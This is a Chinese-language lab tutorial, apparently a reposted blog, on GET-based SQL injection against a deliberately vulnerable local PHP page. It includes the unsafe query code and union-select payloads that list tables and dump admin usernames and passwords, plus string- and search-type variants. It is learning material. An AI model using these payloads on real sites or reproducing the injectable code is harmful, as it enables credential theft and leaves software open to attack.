sql注入GET型

偶听到小迪的教程,根据教程课后自己搭建学习,感谢小迪教程!

实验环境:

wampserver2.4-x86,Sublime Text 3

实验步骤:

在mysql数据库中新建数据表

《sql注入GET型》 test表

插入数据

《sql注入GET型》 三条数据

数字型注入

使用Sublime Text 3编写php代码

<html>

<head>

<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />

<title>sql数字型注入</title>

<body>

<?php

//数字型注入

$id=@$_GET[‘id’];

//不报错

if(isset($id)&&!empty($id)){

$con=mysql_connect(“127.0.0.1″,”root”,””);//连接数据库

mysql_select_db(“cmsdomo”,$con);//选择数据库

$sql=”select * from test where id=$id”;//sql语句

$result=mysql_query($sql);

while($row=mysql_fetch_array($result)){

echo “ID:”.$row[‘id’].”<br/>”;

echo “用户名:”.$row[‘name’].”<br/>”;

//循环输出

}

mysql_close($con);//关闭数据库

echo “<hr/>”;

echo “当前执行的sql语句:”.$sql;

}else{

echo “没有获取到ID”;

}

?>

</body>

</html>

代码不是很美观,再附加一张图片

《sql注入GET型》 数字型注入

将代码保存为demo.php,放在C:/wamp/www,进行访问

在浏览器中输入http://127.0.0.1/demo.php

从源代码中可以看到,sql语句直接接收了id参数值,存在明显的sql注入

《sql注入GET型》 正常

输入id=1,查询到结果,返回正常

《sql注入GET型》 返回错误

加单引号,报错,存在注入点

《sql注入GET型》 查询字段

使用order by 查询该表的字段数,order by 2返回正常,3返回不正常,证明存在两个字段

《sql注入GET型》 查询到数据库

使用database()函数爆出数据库名

《sql注入GET型》 查询表名

使用该语句查询数据表,语句如下

union select table_name,2 from information_schema.tables where table_schema = database()

注意字段数为2

《sql注入GET型》 查询admin表的字段

查询admin表,语句如下:

union  select  column_name,2  from  information_schema.columns  where  table_schema=database()  and table_name=0x61646D696E

注意0x61646D696E为admin的十六进制编码

《sql注入GET型》 查询密码

获取信息,语句为:

union select username,password from admin

注意:还是两个字段,所以是username,password

字符型注入

修改php源代码的sql语句

《sql注入GET型》 字符型

再次测试

《sql注入GET型》 闭合单引号

语句为:

id=1′ union select 1,2  and  ‘1’=’1

同理以上的数字型注入

搜索型注入

修改源代码,下面不变

《sql注入GET型》 like匹配

《sql注入GET型》 单引号报错,存在sql注入

《sql注入GET型》 %和’的闭合

语句为

key=a%’  order  by  2  and  ‘%=

同理数字型注入

    原文作者:CSeroad
    原文地址: https://www.jianshu.com/p/d62ac02b2fb8
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞